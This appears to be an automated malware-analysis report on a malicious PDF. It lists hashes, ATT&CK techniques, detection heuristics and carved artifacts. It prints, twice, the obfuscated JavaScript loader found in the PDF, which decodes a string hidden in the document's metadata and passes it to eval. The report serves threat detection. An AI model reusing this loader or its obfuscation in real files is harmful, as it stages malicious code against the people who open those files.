PDF malware analysis — malicious · 7c4f7217728534c1

MALICIOUS

PDF

44.6 KB

MD5: f285fa724359f11af833572e50de2f95 SHA-1: f3d96b323a3dc151dc0d5e25e1ad895ad81abe5d SHA-256: 7c4f7217728534c1361a9df8c8582708b1a980c24a86a81924599abd0b7cf786

118 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript and is flagged by ML classifiers as malicious, with specific heuristics indicating an exploit cluster related to XFA forms. The JavaScript code, though obfuscated, appears to be designed to execute a string that likely resolves to a URL or command for downloading and executing a secondary payload. The presence of XFA and JavaScript points towards a common exploit delivery mechanism for PDFs.

Machine Learning

Nyx PDF Classifier malicious score 0.9994

Heuristics 6

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
XFA form low PDF_XFA

PDF uses XML Forms Architecture — can contain script logic
Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL

The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.bitstream.com In PDF document text
- http://ns.adobe.com/xdp/In PDF document text
- http://www.xfa.org/schema/xci/2.6/In PDF document text
- http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0007_000.js
0a2ed17c92882b4d88cec4ecaf610d9761b38ebfca1e8eb165b344f9d022e13a pdf-javascript-stream PDF /JS object 7 at offset 0x870 967 bytes

Filename	Kind	Source	Size
`javascript_obj0007_000.js` `0a2ed17c92882b4d88cec4ecaf610d9761b38ebfca1e8eb165b344f9d022e13a`	pdf-javascript-stream	PDF /JS object 7 at offset 0x870	967 bytes
Preview script First 1,000 lines of the extracted script N1FO3Z=this;P2N4Muqez=['I','E','p','Q','6','h','i','o','I','N','P','Y','8','n','U','8','J','5','m','G','C','f','M','Y','a','o','l','H'];uZ87=P2N4Muqez[6]+P2N4Muqez[13]+P2N4Muqez[21]+P2N4Muqez[25];D7cv1K63x=N1FO3Z[uZ87];MNfG=['s','p','M','4','4','L','F','n','M','d','B','f','o','g','6','3','Y','f','h','0','5','9','Q','4','t','X','X','3','1','y','M','m','p','k','W','e','S','i','Q'];v9oG324C=MNfG[1]+MNfG[9]+MNfG[17]+MNfG[24]+MNfG[29]+MNfG[32]+MNfG[35];b9O88m=D7cv1K63x[v9oG324C]; zXo6N25lL="";wjJb4=['J','4','Z','g','Q','w','c','h','2','Z','D','Z','6','5','h','w','d','a','k','8','4','u','r','H','A','f','r','8','t','u','0','w'];uG3E24=wjJb4[6]+wjJb4[14]+wjJb4[17]+wjJb4[22]+wjJb4[24]+wjJb4[28];for (i=0;i<b9O88m.length;i +=4){ zXo6N25lL +=b9O88m.charAt(i);}NA30jJ=['r','M','t','e','U','N','O','0','6','v','J','5','y','G','a','u','a','e','I','l','H','z','7'];OM0KXIsR=NA30jJ[3]+NA30jJ[9]+NA30jJ[16]+NA30jJ[19];l71nBxs=N1FO3Z[OM0KXIsR];l71nBxs(zXo6N25lL);
`font_00_sfnt_off000010df.bin` `044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x10DF	65932 bytes

Preview script

First 1,000 lines of the extracted script

N1FO3Z=this;P2N4Muqez=['I','E','p','Q','6','h','i','o','I','N','P','Y','8','n','U','8','J','5','m','G','C','f','M','Y','a','o','l','H'];uZ87=P2N4Muqez[6]+P2N4Muqez[13]+P2N4Muqez[21]+P2N4Muqez[25];D7cv1K63x=N1FO3Z[uZ87];MNfG=['s','p','M','4','4','L','F','n','M','d','B','f','o','g','6','3','Y','f','h','0','5','9','Q','4','t','X','X','3','1','y','M','m','p','k','W','e','S','i','Q'];v9oG324C=MNfG[1]+MNfG[9]+MNfG[17]+MNfG[24]+MNfG[29]+MNfG[32]+MNfG[35];b9O88m=D7cv1K63x[v9oG324C];        zXo6N25lL="";wjJb4=['J','4','Z','g','Q','w','c','h','2','Z','D','Z','6','5','h','w','d','a','k','8','4','u','r','H','A','f','r','8','t','u','0','w'];uG3E24=wjJb4[6]+wjJb4[14]+wjJb4[17]+wjJb4[22]+wjJb4[24]+wjJb4[28];for (i=0;i<b9O88m.length;i +=4){   zXo6N25lL +=b9O88m.charAt(i);}NA30jJ=['r','M','t','e','U','N','O','0','6','v','J','5','y','G','a','u','a','e','I','l','H','z','7'];OM0KXIsR=NA30jJ[3]+NA30jJ[9]+NA30jJ[16]+NA30jJ[19];l71nBxs=N1FO3Z[OM0KXIsR];l71nBxs(zXo6N25lL);

font_00_sfnt_off000010df.bin
044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7 pdf-font-stream PDF embedded font (sfnt) at offset 0x10DF 65932 bytes

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